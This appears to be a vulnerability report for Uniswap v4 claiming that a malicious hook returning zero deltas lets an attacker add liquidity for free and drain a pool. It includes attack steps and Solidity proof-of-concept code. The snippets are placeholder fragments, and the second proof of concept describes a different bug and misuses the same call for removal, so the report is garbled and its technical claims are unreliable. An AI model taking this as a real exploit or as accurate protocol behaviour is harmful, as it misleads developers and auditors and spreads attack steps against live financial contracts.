Description
Vulnerability Details:
In Uniswap v4, the modifyPosition function allows users to add or remove liquidity from a pool. The function calculates the required token deposits (deltaX, deltaY) based on the liquidity change and current pool state. However, if a malicious hook attached to the pool overrides these deltas without proper validation, an attacker can add liquidity without providing the necessary tokens, leading to pool reserve inaccuracies and fund theft.
Steps to Reproduce:
Attacker Deploys Malicious Hook: The attacker creates a hook contract that implements beforeModifyPosition to return manipulated deltaX and deltaY values (e.g., zero).
Create Pool with Malicious Hook: The attacker initializes a new pool with the malicious hook.
Add Liquidity with Zero Deposit: The attacker calls modifyPosition to add liquidity. The malicious hook returns deltaX = 0 and deltaY = 0, bypassing actual deposit requirements.
Exploit Liquidity: The attacker removes the fraudulently added liquidity, withdrawing legitimate tokens from the pool, effectively draining reserves.
Proof of Concept:
Solidity code:
// Malicious Hook Implementation
contract MaliciousHook {
function beforeModifyPosition(
address, IPoolManager.PoolKey calldata, IPoolManager.ModifyPositionParams calldata, bytes calldata
) external returns (BalanceDelta) {
// Return zero deltas regardless of actual required deposits
return BalanceDelta(0, 0);
}
}
// Attacker's Call
function exploit() {
PoolManager manager = PoolManager(...);
PoolKey memory poolKey = ...; // Pool with malicious hook
manager.modifyPosition(poolKey, params, ZERO_BYTES);
// Liquidity added without depositing tokens
// Later, attacker removes liquidity to steal funds
}
Impact:
Attackers can mint liquidity positions without depositing tokens, enabling them to drain the pool's reserves by burning these positions. This compromises the integrity of the pool's reserves and leads to direct fund loss for liquidity providers.
Recommendation:
Ensure that the modifyPosition function validates the deltas returned by the hook against the initially calculated values. If hooks are allowed to modify deltas, enforce constraints (e.g., deltas must not be less than required) or recompute the deltas post-hook execution to prevent under-deposit.
Expected Behavior
To Reproduce
POC:
SOL code:
// Attacker's Call to Exploit Incorrect Delta Calculation
function exploit() {
PoolManager manager = PoolManager(...);
PoolKey memory poolKey = ...; // Pool with narrow price range
ModifyPositionParams memory params = ...; // Parameters for adding liquidity
// Add liquidity with minimal deposit due to incorrect delta calculation
manager.modifyPosition(poolKey, params, ZERO_BYTES);
// Later, attacker removes liquidity to drain pool reserves
manager.modifyPosition(poolKey, params, ZERO_BYTES);
}
Additional context
No response